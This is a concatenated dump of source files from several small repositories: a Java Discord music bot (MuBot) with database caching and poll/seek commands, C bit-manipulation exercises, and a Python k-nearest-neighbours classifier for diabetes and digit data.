.enableSsl().sslMode(SSLMode.REQUIRE).build()); ConnectionPool poolConfig = new ConnectionPool(ConnectionPoolConfiguration.builder(factory).initialSize(1) .maxIdleTime(Duration.ofSeconds(30)).maxSize(Integer.parseInt(MAX_CONNECTIONS)).build()); databaseClient = DatabaseClient.create(poolConfig); } catch (URISyntaxException e) { e.printStackTrace(); } } public static void create() { if (instance == null) { instance = new DatabaseManager(); prefixCache = new PrefixCache(instance); guildCache = new GuildCache(instance); } } public DatabaseClient getClient() { return databaseClient; } public PrefixCache getPrefixCache() { return prefixCache; } public GuildCache getGuildCache() { return guildCache; } public static String getTableName() { return DatabaseManager.instance.TABLE_NAME; } public static DatabaseManager getInstance() { return DatabaseManager.instance; } }<file_sep>/src/main/java/com/github/mubot/command/commands/music/TrackSeekingCommand.java package com.github.mubot.command.commands.music; import java.util.List; import com.github.mubot.command.CommandResponse; import com.github.mubot.music.TrackScheduler; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.core.object.entity.channel.VoiceChannel; import reactor.core.publisher.Mono; public abstract class TrackSeekingCommand extends MusicCommand { public TrackSeekingCommand(String commandTrigger) { super(commandTrigger); } public TrackSeekingCommand(String commandTrigger, List<String> aliases) { super(commandTrigger, aliases); } @Override protected Mono<CommandResponse> action(MessageCreateEvent event, String[] args, TrackScheduler scheduler, VoiceChannel channel) { if (args.length > 0) { try { int amountInSeconds = Integer.parseInt(args[0]); this.doSeeking(scheduler, amountInSeconds); return Mono.empty(); } catch (NumberFormatException e) { // just ignore commands with improper number return Mono.empty(); } } return getHelp(event); } protected abstract void doSeeking(TrackScheduler scheduler, int amountInSeconds); } <file_sep>/src/main/java/com/github/mubot/main/Main.java package com.github.mubot.main; import discord4j.core.DiscordClientBuilder; import discord4j.core.GatewayDiscordClient; import reactor.util.Logger; import reactor.util.Loggers; public class Main { private static final Logger LOGGER = Loggers.getLogger(Main.class); public static void main(String[] args) { String discordApiToken = System.getenv("token"); try { if (discordApiToken == null) discordApiToken = args[0]; } catch (ArrayIndexOutOfBoundsException ignored) { LOGGER.error( "No Discord api token found. Your Discord api token needs to be first argument or an env var named \"token\""); return; } // no token found if (discordApiToken == null) { LOGGER.error( "No Discord api token found. Your Discord api token needs to be first argument or an env var named \"token\""); return; } final GatewayDiscordClient client = DiscordClientBuilder.create(discordApiToken).build().login().block(); new MuBot(client); LOGGER.info("Bot is ready"); client.onDisconnect().block(); } } <file_sep>/src/main/java/com/github/mubot/eventlistener/EventListener.java package com.github.mubot.eventlistener; import discord4j.core.event.domain.Event; import reactor.core.publisher.Mono; public interface EventListener<T extends Event> { Class<T> getEventType(); Mono<Void> consume(T event); } <file_sep>/src/main/java/com/github/mubot/command/commands/music/SeekCommand.java package com.github.mubot.command.commands.music; import java.util.function.Consumer; import com.github.mubot.command.help.CommandHelpSpec; import com.github.mubot.music.TrackScheduler; public class SeekCommand extends TrackSeekingCommand { public SeekCommand() { super("seek"); } @Override protected void doSeeking(TrackScheduler scheduler, int amountInSeconds) { scheduler.seek(amountInSeconds); } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription("Moves the currently playing song to the given time.").addArg("time", "amount of time in seconds to set the song to i.e. \"60\" will set the song to the 1 minute mark, and \"0\" would set the song back to the beginning.", false).addExample("60").addExample("0"); } } <file_sep>/src/main/java/com/github/mubot/command/commands/general/PollCommand.java package com.github.mubot.command.commands.general; import java.util.function.Consumer; import com.github.mubot.command.CommandResponse; import com.github.mubot.command.help.CommandHelpSpec; import com.github.mubot.command.menu.menus.PollMenu; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.core.object.entity.Member; import discord4j.rest.util.Permission; import reactor.core.publisher.Mono; import reactor.util.annotation.NonNull; public class PollCommand extends RequireBotPermissionsCommand { private final String REGEX_SPLIT = " (?=(?:[^\\\"]*\\\"[^\\\"]*\\\")*[^\\\"]*$)"; public PollCommand() { super("poll", Permission.MANAGE_MESSAGES); } @Override protected Mono<CommandResponse> action(MessageCreateEvent event, String[] args) { return poll(pollArgs(args), event.getMember().orElse(null)); } /** * Converts regular command parameters to poll command parameters * * @param args the original command parameters * @return the command parameters split by double quotes instead of spaces */ private String[] pollArgs(String[] args) { String[] ret = args; StringBuilder sb = new StringBuilder(); // unsplit the parameters for (String param : ret) { sb.append(param).append(" "); } // now split the command by what's inside the quotes instead of by space ret = sb.toString().split(REGEX_SPLIT); // now remove the double quotes from each parameter for (int i = 0; i < ret.length; i++) { ret[i] = ret[i].replaceAll("\"", ""); } return ret; } /** * Creates a poll in the channel * * @param args the arguments of the poll * @param member the member who used the command * @return */ public Mono<CommandResponse> poll(@NonNull String[] args, @NonNull Member member) { if (args.length <= 0 || args[0].isBlank()) return getHelp(member.getGuildId().asLong()); // create a new poll object PollMenu poll = new PollMenu(args, member); return CommandResponse.create(poll.createMessage(), poll); } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription( "Creates a simple poll in the channel the command was used in. Allows up to 10 choices. All arguments must be contained in quotes to allow for spaces.") .addArg("Question", "The question for the poll in quotes(\").", false) .addArg("Choice 1", "The first choice of the poll in quotes(\").", false) .addArg("Choice 2", "The second choice of the poll in quotes(\").", false) .addArg("Choice X", "The X-th choice of the poll in quotes(\").", true) .addExample("\"question\" \"choice 1\" \"choice 2\""); } } <file_sep>/src/main/java/com/github/mubot/command/CommandExecutor.java package com.github.mubot.command; import discord4j.core.event.domain.message.MessageCreateEvent; import reactor.core.publisher.Mono; import reactor.util.Logger; import reactor.util.Loggers; public class CommandExecutor { private static final Logger LOGGER = Loggers.getLogger(CommandExecutor.class); public Mono<CommandResponse> executeCommand(MessageCreateEvent event, Command command, String[] args) { if (args.length > 0 && args[0].equals("help")) { LOGGER.info("Help called for " + command.getPrimaryTrigger()); return command.getHelp(event); } LOGGER.info("Command executed: " + event.getMessage().getContent()); return command.execute(event, args); } }<file_sep>/src/main/java/com/github/mubot/database/cache/GuildCache.java package com.github.mubot.database.cache; import java.util.concurrent.ConcurrentHashMap; import com.github.mubot.command.util.Pair; import com.github.mubot.database.DatabaseManager; import discord4j.core.object.entity.Guild; import reactor.core.publisher.Mono; import reactor.util.Logger; import reactor.util.Loggers; public class GuildCache extends DatabaseCache { private static final Logger LOGGER = Loggers.getLogger(DatabaseCache.class); private static final ConcurrentHashMap<Long, String> GUILD_CACHE = new ConcurrentHashMap<>(); private final static String TABLE_NAME = "guilds"; private static final String GET_ALL_GUILDS_SQL = "SELECT guild_id, guild_name FROM " + TABLE_NAME; private static final String INSERT_GUILD_SQL = "INSERT INTO " + TABLE_NAME + " (guild_id, guild_name) VALUES ($1, $2) ON CONFLICT (guild_id) DO UPDATE SET guild_name = $2"; private static final String DELETE_GUILD_SQL = "DELETE FROM " + TABLE_NAME + " WHERE guild_id = $1"; private static final String UPDATE_GUILD_NAME_SQL = "UPDATE " + TABLE_NAME + " SET guild_name = $2 WHERE guild_id = $1"; public GuildCache(DatabaseManager databaseManager) { super(databaseManager); } @Override public Mono<Void> buildCache() { return this.databaseManager.getClient().sql(GET_ALL_GUILDS_SQL).map((row, rowMd) -> new Pair<Long, String>(row.get("guild_id", Long.class), row.get("guild_name", String.class))) .all().doOnTerminate(() -> { LOGGER.info("GUILD_CACHE count: " + counter.getAcquire()); }).onErrorResume(error -> Mono.empty()).map(pair -> { long id = pair.getKey(); String name = pair.getValue(); // LOGGER.info(String.format("put %s in %d", prefix, id)); counter.getAndIncrement(); GUILD_CACHE.put(id, name); return pair; }).then(); } public Mono<Void> offerGuild(Guild guild) { String cachedName = GUILD_CACHE.get(guild.getId().asLong()); if (cachedName == null) { return addGuild(guild.getId().asLong(), guild.getName()); } else if (!cachedName.equals(guild.getName())) { return updateGuild(guild.getId().asLong(), guild.getName()); } return Mono.empty(); } private Mono<Void> addGuild(long guildId, String guildName) { return databaseManager.getClient().sql(INSERT_GUILD_SQL).bind("$1", guildId).bind("$2", guildName).fetch() .rowsUpdated().map(result -> { LOGGER.info(String.format("Adding guild %s with id %d", guildName, guildId)); GUILD_CACHE.put(guildId, guildName); return result; }).then(); } private Mono<Void> updateGuild(long guildId, String guildName) { return databaseManager.getClient().sql(UPDATE_GUILD_NAME_SQL).bind("$1", guildId).bind("$2", guildName).fetch() .rowsUpdated().map(result -> { LOGGER.info(String.format("Updating guild with id %d with new name %s", guildId, guildName)); GUILD_CACHE.put(guildId, guildName); return result; }).then(); } public Mono<? extends Void> removeGuild(long guildId) { return databaseManager.getClient().sql(DELETE_GUILD_SQL).bind("$1", guildId).fetch().rowsUpdated() .map(result -> { LOGGER.info(String.format("Removed guild id %d", guildId)); PrefixCache.removePrefix(guildId); GUILD_CACHE.remove(guildId); return result; }).then(); } } <file_sep>/src/main/java/com/github/mubot/jokeapi/util/JokeJson.java package com.github.mubot.jokeapi.util; import com.fasterxml.jackson.databind.JsonNode; public class JokeJson { private String type; private JsonNode node; public String getType() { return type; } public JsonNode getNode() { return node; } public JokeJson(String type, JsonNode json) { this.type = type; this.node = json; } } <file_sep>/src/main/java/com/github/mubot/music/TrackScheduler.java package com.github.mubot.music; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; import java.util.stream.Collectors; import com.github.mubot.command.util.CommandUtil; import com.github.mubot.command.util.EmojiHelper; import com.sedmelluq.discord.lavaplayer.player.AudioPlayer; import com.sedmelluq.discord.lavaplayer.player.event.AudioEventAdapter; import com.sedmelluq.discord.lavaplayer.track.AudioTrack; import com.sedmelluq.discord.lavaplayer.track.AudioTrackEndReason; import com.sedmelluq.discord.lavaplayer.track.AudioTrackState; import reactor.util.Logger; import reactor.util.Loggers; public final class TrackScheduler extends AudioEventAdapter { private static final Logger LOGGER = Loggers.getLogger(TrackScheduler.class); // Queue of songs for this scheduler private BlockingQueue<AudioTrack> queue = new LinkedBlockingQueue<AudioTrack>(); private final AudioPlayer player; private boolean repeat = false; /** * Creates a track scheduler for the given channel * * @param player the AudioPlayer used for this TrackScheduler */ public TrackScheduler(AudioPlayer player) { this.player = player; // add this as a listener so we can listen for tracks ending player.addListener(this); } /** * Adds a track to the queue to be played * * @param track the track to queue * @return */ public String queue(AudioTrack track) { // Calling startTrack with the noInterrupt set to true will start the track only // if nothing is currently playing. If // something is playing, it returns false and does nothing. In that case the // player was already playing so this // track goes to the queue instead. if (!player.startTrack(track, true)) { queue.offer(track); LOGGER.info("Track added to the queue: " + queue.size()); return EmojiHelper.CHECK_MARK + " " + CommandUtil.trackInfo(track) + " was added to the queue (" + EmojiHelper.numToEmoji(getQueue().size()) + ") " + EmojiHelper.CHECK_MARK; } return EmojiHelper.NOTES + " Now playing " + CommandUtil.trackInfo(track) + " " + EmojiHelper.NOTES; } /** * Start the next track, stopping the current one if it is playing. */ public void nextTrack() { // Start the next track, regardless of if something is already playing or not. // In case queue was empty, we are // giving null to startTrack, which is a valid argument and will simply stop the // player. player.startTrack(queue.poll(), false); } /** * Clears the queue of all objects */ public void clearQueue() { queue.clear(); } /** * Skips to the element number in the queue * * @param elementNumber */ public String skipQueue(int elementNumber) { if (elementNumber > queue.size()) return ""; queue = queue.stream().skip(elementNumber - 1).collect(Collectors.toCollection(LinkedBlockingQueue::new)); String ret = CommandUtil.trackInfo(queue.peek()); nextTrack(); return ret; } /** * Removes a specific track from the queue given by the index * * @param index index of the item to remove from the queue * @return the AudioTrack that was removed or null if none was removed */ public AudioTrack removeFromQueue(int index) { if (index >= queue.size() || index < 0) return null; // convert the queue into a list List<AudioTrack> listQueue = getQueue(); // remove the item from that list AudioTrack removed = listQueue.remove(index); // convert the list back into a queue queue = new LinkedBlockingQueue<AudioTrack>(listQueue); return removed; } /** * Gets a list of the songs that are currently in the queue. * * @return List of queued songs */ public List<AudioTrack> getQueue() { List<AudioTrack> ret = new ArrayList<AudioTrack>(queue); return ret; } /** * Shuffles the songs currently in the queue */ public void shuffleQueue() { // convert the queue to a list List<AudioTrack> ret = getQueue(); // shuffle that list Collections.shuffle(ret); // convert the list back into a queue queue = new LinkedBlockingQueue<AudioTrack>(ret); } /** * @return true if player is currently paused, false otherwise */ public boolean isPaused() { if (player == null) return false; return player.isPaused(); } /** * @param pause sets if the player is paused or not */ public void pause(boolean pause) { if (player != null) player.setPaused(pause); } /** * Sets the position of the currently playing track to the given time. * * @param positionInSeconds Position to set the track to in seconds */ public void seek(int positionInSeconds) { if (player != null) { AudioTrack currentTrack = player.getPlayingTrack(); if (currentTrack != null && currentTrack.isSeekable()) { long position = TimeUnit.SECONDS.toMillis(positionInSeconds); currentTrack.setPosition(position); } } } /** * Rewinds the currently playing track by the given amount of seconds * * @param amountInSeconds Amount of time in seconds to rewind */ public void rewind(int amountInSeconds) { if (player != null) { AudioTrack currentTrack = player.getPlayingTrack(); if (currentTrack != null && currentTrack.isSeekable()) { long amountToRewind = TimeUnit.SECONDS.toMillis(amountInSeconds); long currentPosition = currentTrack.getPosition(); long newPosition = currentPosition - amountToRewind; currentTrack.setPosition(newPosition); } } } /** * Fast forwards the currently playing track by the given amount of seconds * * @param amountInSeconds Amount of time in seconds to fast forward */ public void fastForward(int amountInSeconds) { if (player != null) { AudioTrack currentTrack = player.getPlayingTrack(); if (currentTrack != null && currentTrack.isSeekable()) { long amountToFastforward = TimeUnit.SECONDS.toMillis(amountInSeconds); long currentPosition = currentTrack.getPosition(); long newPosition = currentPosition + amountToFastforward; currentTrack.setPosition(newPosition); } } } /** * Gets the track that is currently playing. * * @return the AudioTrack that is playing */ public AudioTrack getNowPlaying() { return player.getPlayingTrack(); } /** * Called when the current track ends */ @Override public void onTrackEnd(AudioPlayer player, AudioTrack track, AudioTrackEndReason endReason) { // Only start the next track if the end reason is suitable for it (FINISHED or // LOAD_FAILED) if (endReason.mayStartNext) { if (endReason != AudioTrackEndReason.STOPPED) { if (repeat) { player.startTrack(track.makeClone(), false); return; } else if (track.getInfo().length == Long.MAX_VALUE) { LOGGER.error("Live stream track ended, restarting track"); player.startTrack(track.makeClone(), false); return; } } nextTrack(); } } /** * @return The {@link AudioPlayer} for this {@link TrackScheduler} */ public AudioPlayer getPlayer() { return player; } public boolean repeatEnabled() { return repeat; } public void setRepeat(boolean repeat) { this.repeat = repeat; } public void destroy() { if (player.getPlayingTrack() != null && player.getPlayingTrack().getState() == AudioTrackState.PLAYING) { player.getPlayingTrack().stop(); } player.destroy(); clearQueue(); } }
2a6ab545945390691eeca5d5a4dd7c3d54269d3d
[ "Markdown", "Java", "Maven POM" ]
34
Markdown
reptar25/MuBot
869b25974293376d1bf8d43db288bfbd29a0874a
bbd38acbbeb327e1c1bf3ca2790971416353caf4
refs/heads/main
<file_sep>#include <stdio.h> #include <stdlib.h> int is_one(long n, int b) { return (n >> b) & 1; } void printbin(unsigned n) { printf("0b"); size_t size = sizeof(n) * 8; for (size_t i = 0; i < size; i++) { if ( i % 8 == 0) printf(" "); printf("%d", is_one(n, size - i)); } printf("\n"); }; int main() { printbin(-1); printbin(0); printbin(1); printbin(2); printbin(10); printbin(100); printbin(500); printbin(350050); return 0; }<file_sep>#include <stdio.h> #include <stdlib.h> int is_one(long n, int b) { return (n >> b) & 1; } int main() { printf("es uno: %d\n", is_one(0b011000, 4)); printf("es uno: %d\n", is_one(0b011000, 128)); printf("es uno: %d\n", is_one(0b011000, 500)); printf("es uno: %d\n", is_one(0b011000, 0)); return 0; }<file_sep>#include <stdio.h> #include <stdlib.h> /* EXIT CODE: (0377)_8 = (255)_10 */ int main() { char al = 0xFF; return al; }<file_sep>#include <stdio.h> #include <stdlib.h> /* EXIT CODE: (0375)_8 = (253)_10 */ int main() { char al = 0xFE; char bl = -1; bl = al + bl; return bl++; }<file_sep>#include <stdio.h> #include <stdlib.h> /* Para que el programa decodifique no hace falta hacer ninguna modificación. Simplemente tenemos que utilizar el mismo código y volveremos a obtener la string original. Si volvemos a codificar la string resultado (con un código distinto al original claro esta) podremos lograr más niveles de encriptación. Ya que tendremos que decodificar en orden inverso la string final con los códigos utilizados. */ int main(int argc, char const *argv[]) { char temp; if(argc != 2) return; int code = atoi(argv[1]); while ( (temp = getchar()) != NULL) { printf("%c", temp ^ code); } printf("\0"); return 0; }<file_sep>#include <stdio.h> #include <stdlib.h> int check_result(int calculo, int enunciado, char exercise) { if( calculo == enunciado ) printf("%c)\n\tcorrecto: %x == %x\n", exercise, calculo, enunciado); else printf("%c)\n\tincorrecto: %x != %x\n", exercise, calculo, enunciado); return calculo == enunciado; } int main() { int enunciado, calculo; /* a) */ enunciado = 0b10000000000000000000000000000000; calculo = 1 << 31; check_result(calculo, enunciado, 'a'); /* b) */ enunciado = 0b10000000000000001000000000000000; calculo = (1 << 31) | (1 << 15); check_result(calculo, enunciado, 'b'); /* c) */ enunciado = 0b11111111111111111111111100000000; calculo = -1 & 0xffffff00; check_result(calculo, enunciado, 'c'); /* d) */ enunciado = 0b10101010000000000000000010101010; calculo = 0xAA | (0xAA << 24); // 0xAAA = 1010 1010 check_result(calculo, enunciado, 'd'); /* e) */ enunciado = 0b00000000000000000000010100000000; calculo = 5 << 8; check_result(calculo, enunciado, 'e'); /* f) */ enunciado = 0b11111111111111111111111011111111; calculo = -1 & (~ (1 << 8)); check_result(calculo, enunciado, 'f'); /* g) */ enunciado = 0b11111111111111111111111111111111; calculo = 0 - 1; check_result(calculo, enunciado, 'g'); /* h) */ enunciado = 0b00000000000000000000000000000000; calculo = 0x80000000 - 0x80000000; check_result(calculo, enunciado, 'h'); return 0; }<file_sep>#include <stdio.h> #include <stdlib.h> void swap(int* a, int* b) { *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; } void rotate(int* a, int* b, int* c) { swap(a, b); swap(c, a); } int main() { int a = 1, b = 2, c = 3; rotate(&a, &b, &c); printf("a: %d\n", a); printf("b: %d\n", b); printf("c: %d\n", c); printf("\n***********\n\n"); a = 150; b = 350; c = -1; rotate(&a, &b, &c); printf("a: %d\n", a); printf("b: %d\n", b); printf("c: %d\n", c); return 0; }<file_sep># arquitectura-computador ### <NAME> Repositorio de Arquitectura del Computador 2do Año 2do Cuatrimestre - UNR FCEIA
c45fac4f2af15d5ff11044e9e2bb9a90605f9846
[ "Markdown", "C" ]
8
C
IgnacioKase/arquitectura-computador
3270a5da9a5f8e89efaff864b5b1b2f36aa8924f
5f884ace54becc8b4f78888e9f20a110ac09f6f4
refs/heads/master
<repo_name>huglester/analytics_widget-extension<file_sep>/resources/lang/en/configuration.php <?php return [ 'days' => [ 'name' => 'Days of history to show', ], 'view_id' => [ 'name' => 'VIEW ID of a project', ], 'auth_file' => [ 'name' => 'Authentication file (json)', ], ]; <file_sep>/src/Command/LoadItems.php <?php namespace Webas\AnalyticsWidgetExtension\Command; use Anomaly\ConfigurationModule\Configuration\Contract\ConfigurationRepositoryInterface; use Anomaly\DashboardModule\Widget\Contract\WidgetInterface; use Anomaly\FilesModule\File\Contract\FileRepositoryInterface; use Illuminate\Foundation\Bus\DispatchesJobs; use Spatie\Analytics\Analytics; use Spatie\Analytics\AnalyticsClientFactory; use Spatie\Analytics\Period; class LoadItems { use DispatchesJobs; /** * The widget instance. * * @var WidgetInterface */ protected $widget; /** * Create a new LoadItems instance. * * @param WidgetInterface $widget */ public function __construct(WidgetInterface $widget) { $this->widget = $widget; } /** * Handle the widget data. * @param FileRepositoryInterface $files * @param ConfigurationRepositoryInterface $configuration */ public function handle(FileRepositoryInterface $files, ConfigurationRepositoryInterface $configuration) { try { $analyticsData = $this->getAnalyticsData($files, $configuration); } catch (\Exception $e) { $this->widget->addData('errors', $e->getMessage()); return; } if (! $analyticsData) { return; } $dates = $analyticsData->map(function ($item) { return (string) $item['date']->format('Y-m-d'); }); // Load the items to the widget's view data. $this->widget->addData('visitors', json_encode($analyticsData->pluck('visitors')->toArray())); $this->widget->addData('pageViews', json_encode($analyticsData->pluck('pageViews')->toArray())); $this->widget->addData('dates', json_encode($dates->toArray())); } private function getAnalyticsData($files, $configuration) { $days = $configuration->value('webas.extension.analytics_widget::days', $this->widget->id, 30); $view_id = $configuration->value('webas.extension.analytics_widget::view_id', $this->widget->id); $auth_file_id = $configuration->value('webas.extension.analytics_widget::auth_file', $this->widget->id); /*$cache_key = 'webas.extension.analytics_widget_'.$days.'_'.$view_id.'_'.$auth_file_id; if ($exits = cache($cache_key)) { return $exits; }*/ $file = null; if ($auth_file_id) { $file = $files->find($auth_file_id); } /* $file FileModel */ if (! $file or ! $view_id) { $this->widget->addData('errors', 'File or View ID not set.'); return; } $analyticsConfig = [ 'view_id' => $view_id, 'cache_lifetime_in_minutes' => 60 * 24, 'service_account_credentials_json' => public_path('app/default/files-module/local/'.$file->path()), 'cache_location' => storage_path('app/laravel-google-analytics/google-cache/'), ]; $client = AnalyticsClientFactory::createForConfig($analyticsConfig); $analyticsClient = new Analytics($client, $analyticsConfig['view_id']); $return = $analyticsClient->fetchTotalVisitorsAndPageViews(Period::days($days)); // Cache /*cache([ $cache_key => $return, ], 60 * 3);*/ return $return; } } <file_sep>/resources/config/configuration.php <?php return [ 'days' => [ 'required' => true, 'type' => 'anomaly.field_type.select', 'config' => [ 'options' => [30 => 30, 60 => 60, 90 => 90] ], ], 'view_id' => [ 'required' => true, 'type' => 'anomaly.field_type.text', ], 'auth_file' => [ 'required' => true, 'type' => 'anomaly.field_type.file', ], ]; <file_sep>/src/AnalyticsWidgetExtension.php <?php namespace Webas\AnalyticsWidgetExtension; use Anomaly\DashboardModule\Widget\Contract\WidgetInterface; use Anomaly\DashboardModule\Widget\Extension\WidgetExtension; use Webas\AnalyticsWidgetExtension\Command\LoadItems; class AnalyticsWidgetExtension extends WidgetExtension { /** * @var string */ protected $provides = 'anomaly.module.dashboard::widget.analytics'; /** * Load the widget data. * * @param WidgetInterface $widget */ protected function load(WidgetInterface $widget) { $this->dispatch(new LoadItems($widget)); } } <file_sep>/resources/lang/en/addon.php <?php return [ 'title' => 'Google Analytics', 'name' => 'Google Analytics', 'description' => 'A dashboard with google analytics', ];
ebf1a498e88fd56219426e6a3d852f5d6aaad513
[ "PHP" ]
5
PHP
huglester/analytics_widget-extension
3912d1cf767d905f6ac96b4cf8bcd3e4bf12dd21
f800e7ff1d2558c7b56598b1068a8980b1fbc126
refs/heads/master
<repo_name>deeshugupta/custom-calendar-rails<file_sep>/app/models/record.rb class Record < ActiveRecord::Base has_many :events has_many :to_dos has_many :reminders belongs_to :user accepts_nested_attributes_for :events, :to_dos, :reminders def self.as_indexed_json { todo: to_dos.as_json, reminder: reminders.as_json, event: events.as_json } end end <file_sep>/app/controllers/application_controller.rb class ApplicationController < ActionController::API include DeviseTokenAuth::Concerns::SetUserByToken # before_filter :cors_preflight_check # after_filter :cors_set_access_control_headers # # For all responses in this controller, return the CORS access control headers. # def cors_set_access_control_headers # headers['Access-Control-Allow-Origin'] = 'http://localhost:5000' # headers['Access-Control-Allow-Headers'] = '*, access-token, expiry, token-type, uid, client, if-modified-since, Content-Type, accept' # headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, PUT, DELETE' # headers['Access-Control-Max-Age'] = '1728000' # headers['Access-Control-Expose-Headers'] = 'access-token, expiry, token-type, uid,client' # end # # If this is a preflight OPTIONS request, then short-circuit the # # request, return only the necessary headers and return an empty # # text/plain. # def cors_preflight_check # headers['Access-Control-Allow-Origin'] = 'http://localhost:5000' # headers['Access-Control-Allow-Headers'] = '*, access-token, expiry, token-type, uid, client, if-modified-since, Content-Type, accept' # headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, PUT, DELETE' # headers['Access-Control-Max-Age'] = '1728000' # headers['Access-Control-Expose-Headers'] = 'access-token, expiry, token-type, uid,client' # end # def allow # render text: '', content_type: 'text/plain' # end end <file_sep>/app/controllers/record_controller.rb class RecordController < ApplicationController include DeviseTokenAuth::Concerns::SetUserByToken before_action :authenticate_user! def create params.permit! logger.info params if params["record"]["to_dos_attributes"] record = Record.create(params["record"]) current_user.records << record render json: { message: "Record updated successfully" }, status: 200 end end def get_record date = Date.parse(params[:date]) record = Record.include(:to_dos, :events, :reminders). where("Date(created_at) = Date(?)", date) if record render json: { message: "Success", records: record.map{|r| r.as_indexed_json} }, status: 200 else render json:{ message: "Failure" }, status: 200 end end end <file_sep>/app/models/reminder.rb class Reminder < ActiveRecord::Base belongs_to :record end <file_sep>/README.rdoc Empty Backend for now. It will be updated with time.
62f687d32c5031ffa1707896d239a3ab5e45a78c
[ "RDoc", "Ruby" ]
5
Ruby
deeshugupta/custom-calendar-rails
1d56829908559f5cba6fdc3f27fa282c280d3e2b
879d123d03d3f04300edad57265df45233a096ab
refs/heads/master
<file_sep>from progress.bar import Bar class knn: k = 0 numLabels = 10 def __init__(self, k, numLabels, trainingData, trainingLabel, testData, testLabel): self.k = k self.numLabels = numLabels self.trainingData = trainingData self.trainingLabel = trainingLabel self.testData = testData self.testLabel = testLabel self.predictions = [] def getDistances(self): statusBar = Bar('Calculating distances', max = len(self.testData)) for index1, test in enumerate(self.testData): labels = [0] * self.numLabels distances = [] sortedDistances = [] for index2, train in enumerate(self.trainingData): newDistance = self.euclideanDistance(test, train) distances.append([newDistance, self.trainingLabel[index2]]) sortedDistances = sorted(distances, key=lambda distance: distance[0]) for i in range(0, self.k): labels[int(sortedDistances[i][1])] += 1 maxInd = 0 for ind, num in enumerate(labels): if num > labels[maxInd]: maxInd = ind self.predictions.append(maxInd) statusBar.next() statusBar.finish() def stats(self): totalCorrect = 0 truePositive = 0 falsePositive = 0 trueNegative = 0 falseNegative = 0 for index, prediction in enumerate(self.predictions): # print 'Test #{testNum} predicted: {prediction} Test #{testNum} actual: {actual}'.format(testNum=index, prediction=prediction, actual=self.testLabel[index]) if (prediction == self.testLabel[index] and prediction == 1): truePositive += 1 totalCorrect += 1 elif (prediction == self.testLabel[index] and prediction == 0): trueNegative += 1 totalCorrect += 1 elif (prediction == 1 and self.testLabel[index] == 0): falsePositive += 1 else: falseNegative += 1 print ('\n' + \ '===========\n' + \ 'Statistics: \n' + \ '===========\n' + \ 'Total Correct: {percentCorrect}%\n' + \ ' True Positive: {truePositive}\n' + \ 'False Positive: {falsePositive}\n' + \ ' True Negative: {trueNegative}\n' + \ 'False Negative: {falseNegative}').format(percentCorrect=float(100*totalCorrect/len(self.testLabel)), \ truePositive=truePositive, falsePositive=falsePositive, \ trueNegative=trueNegative, falseNegative=falseNegative) def euclideanDistance(self, test, train): sum = 0 for coord1, coord2 in zip(test, train): sum += ((coord2 - coord1)**2) return (sum**0.5) def manhattanDistance(self, test, train): sum = 0 for coord1, coord2 in zip(test, train): sum += abs(coord2 - coord1) return sum def chebyshevDistance(self, test, train): maximumDist = 0 for coord1, coord2 in zip(test, train): diff = abs(coord2 - coord1) if diff > maximumDist: maximumDist = diff return maximumDist <file_sep>import csv class digitClassifier: fileName = 'digits' keyDigit = 7.0 data = [] max = [] trainingLabel = [] testLabel = [] trainingData = [] testData = [] def __init__(self): self.fileInput() self.splitData() def fileInput(self): with open(('./data/' + self.fileName + '.csv'), 'r') as csv_file: csv_reader = csv.reader(csv_file) next(csv_reader) for index1, row in enumerate(csv_reader): self.data.append([]) sum = 0 for index2, item in enumerate(row): if index2 == 0: item = float(item) if item == self.keyDigit: item = 1 else: item = 0 self.data[index1].append(item) elif index2%28 == 0 and not (index2 == 0): self.data[index1].append(sum) sum = 0 else: sum += float(item)/255 def splitData(self): trainSplit = int(0.8 * len(self.data)) for index1, row in enumerate(self.data): if index1 < trainSplit: self.trainingLabel.append(row[0]) self.trainingData.append(row[1:len(row)-1]) else: self.testLabel.append(row[0]) self.testData.append(row[1:len(row)-1]) def getData(self): return [self.trainingData, self.trainingLabel, self.testData, self.testLabel] <file_sep>import csv class diabetesClassifier: fileName = 'diabetes' data = [] max = [] trainingLabel = [] testLabel = [] trainingData = [] testData = [] def __init__(self): self.fileInput() self.preProcessData() self.splitData() def fileInput(self): with open(('./data/' + self.fileName + '.csv'), 'r') as csv_file: csv_reader = csv.reader(csv_file) next(csv_reader) for index1, row in enumerate(csv_reader): self.data.append([]) for index2, item in enumerate(row): item = float(item) self.data[index1].append(item) if index2 == len(row) - 1: continue else: if index1 == 0: self.max.append(item) elif item > self.max[index2]: self.max[index2] = item def preProcessData(self): for index1, row in enumerate(self.data): for index2, item in enumerate(row): if index2 == len(row) - 1: continue else: self.data[index1][index2] = float(item/self.max[index2]) def splitData(self): trainSplit = int(0.8 * len(self.data)) for index1, row in enumerate(self.data): if index1 < trainSplit: self.trainingLabel.append(row[len(row)-1]) self.trainingData.append(row[1:len(row)-2]) else: self.testLabel.append(row[len(row)-1]) self.testData.append(row[1:len(row)-2]) def getData(self): return [self.trainingData, self.trainingLabel, self.testData, self.testLabel] <file_sep> In order to execute the program, from the command line, call: `python main.py -c [CLASSIFIER] -k [K] -n [NUMLABELS]` An example command is as follows: `python main.py -c diabetes -k 5 -n 2` ******************************************************************************* ******************************************************************************* | Argument Flag | Description | |---------------|-------------------------------------------------------------------------------------------| |-c, --classifer|specifies which dataset to examine (either 'diabetes' or 'digits') | |-k |specifies the k value for your program | |-n, --numLabels|specifies the dimensionality of your data (for both datasets, the dimensionality is two(2))| To enable a different distance metric, change line 24 in the knn.py file to the distance metric you would like. (Euclidean, Manhattan, and Chebyshev are available) <file_sep>import argparse import diabetesClassifier import digitClassifier import knn import time parser = argparse.ArgumentParser(description = 'This script processes data in the \ data folder through the knn algorithm.') parser.add_argument('-c', '--classifier', action='store', help='Specify which classifier you want.', required=True) parser.add_argument('-k', action='store', help='Specify how big your k should be.', required=True) parser.add_argument('-n', '--numLabels', action='store', help='Specify the cardinality of the set of labels.', required=True) args = parser.parse_args() fileName = args.classifier k = int(args.k) numLabels = 